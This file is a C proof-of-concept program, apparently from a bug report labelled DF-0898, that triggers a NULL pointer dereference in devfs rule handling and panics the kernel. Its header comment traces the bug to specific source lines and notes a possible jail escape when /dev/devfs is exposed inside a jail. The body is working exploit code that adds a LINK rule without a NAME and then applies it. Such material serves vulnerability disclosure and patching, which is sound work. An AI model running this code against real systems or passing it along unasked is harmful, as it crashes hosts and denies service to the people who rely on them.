DF-0898 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-0898 โ NULL pointer deref when DEVFS_RULE_LINK is used without * DEVFS_RULE_NAME in devfs ruleset ioctl. * * Bug (sys/vfs/devfs/devfs_rules.c): * :99 rule->name and rule->namlen are ONLY initialized when * (templ->rule_type & DEVFS_RULE_NAME). Otherwise they stay at the * memset-zero values from line 85 (rule->name == NULL, namlen == 0). * :113 rule->linkname IS initialized independently, whenever * (templ->rule_cmd & DEVFS_RULE_LINK). * :331 devfs_rule_check_apply() dispatches to devfs_rule_create_link() * whenever (rule->rule_cmd & DEVFS_RULE_LINK), WITHOUT checking * whether rule->name is set. With rule_type == 0 the rule passes * every filter (no JAIL/TYPE/NAME constraint) so it matches every * node on the matched mount. * :243 devfs_rule_create_link() unconditionally evaluates * if (rule->name[rule->namlen-1] == '*') * With rule->name == NULL and rule->namlen == 0 (u_char promoted to * int => 0 - 1 = -1), this dereferences address 0xFFFFFFFFFFFFFFFF * (NULL + (ptrdiff_t)-1) => page fault => kernel panic. * * Reachability: /dev/devfs is 0600 root:wheel. Direct trigger is root-only * (root->kernel hardening gap on default GENERIC; potential jail-escape if * /dev/devfs is exposed inside a jail's devfs ruleset, which is a * non-default but plausible admin configuration). * * Trigger sequence: * ioctl(/dev/devfs, DEVFS_RULE_ADD, {type=0, cmd=LINK, mnt="/dev", * linkname="x"}) // succeeds * ioctl(/dev/devfs, DEVFS_RULE_APPLY, {mnt="/dev"}) // panic */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/syslimits.h> #include <sys/devfs_rules.h> int main(int argc, char **argv) { int fd, rc; struct devfs_rule_ioctl rule, apply_cmd; fd = open("/dev/devfs", O_RDWR); if (fd < 0) { perror("open /dev/devfs"); fprintf(stderr, "(must run as root; device is 0600 root:wheel)\n"); return 1; } /* * Build a LINK rule WITHOUT the NAME flag. * rule_type = 0 (no DEVFS_RULE_NAME => rule->name stays NULL) * rule_cmd = DEVFS_RULE_LINK (0x01) * mntpoint = "/dev" (matches the host devfs mount) * linkname = "x" (required non-empty by alloc) * name = <ignored> (left zeroed) * * devfs_rule_alloc() will accept this (linkname is valid), but rule->name * remains NULL and rule->namlen remains 0. */ memset(&rule, 0, sizeof(rule)); rule.rule_type = 0; /* NO DEVFS_RULE_NAME */ rule.rule_cmd = DEVFS_RULE_LINK; /* 0x01 */ memcpy(rule.mntpoint, "/dev", 5); /* includes trailing NUL */ memcpy(rule.linkname, "x", 2); /* includes trailing NUL */ /* rule.name is left zero-filled (and never consulted by alloc) */ printf("[*] sizeof(struct devfs_rule_ioctl) = %zu\n", sizeof(rule)); printf("[*] rule_type=0x%lx rule_cmd=0x%lx (LINK=0x%x, NAME=0x%x)\n", (unsigned long)rule.rule_type, (unsigned long)rule.rule_cmd, DEVFS_RULE_LINK, DEVFS_RULE_NAME); printf("[*] Sending DEVFS_RULE_ADD (LINK without NAME)...\n"); rc = ioctl(fd, DEVFS_RULE_ADD, &rule); printf("[*] DEVFS_RULE_ADD returned %d (errno=%d: %s)\n", rc, errno, strerror(errno)); if (rc != 0) { fprintf(stderr, "[!] ADD failed; cannot proceed to APPLY\n"); close(fd); return 1; } /* * Apply: devfs_apply_rules("/dev") iterates every node under /dev and * calls devfs_rule_check_apply(). Our rule has no JAIL/TYPE/NAME filter, * so it matches every node. The first match dispatches to * devfs_rule_create_link(), which at line 243 evaluates * rule->name[rule->namlen-1] * with name==NULL and namlen==0 => NULL + (ptrdiff_t)-1 => page fault. */ memset(&apply_cmd, 0, sizeof(apply_cmd)); memcpy(apply_cmd.mntpoint, "/dev", 5); printf("[*] Sending DEVFS_RULE_APPLY (triggers NULL deref)...\n"); fflush(stdout); rc = ioctl(fd, DEVFS_RULE_APPLY, &apply_cmd); /* NOTREACHED on unpatched kernel โ guest panics in devfs_rule_create_link */ printf("[*] DEVFS_RULE_APPLY returned %d (errno=%d: %s)\n", rc, errno, strerror(errno)); printf("[!] Reached end of program โ kernel did NOT panic (bug absent?)\n"); close(fd); return 0; } |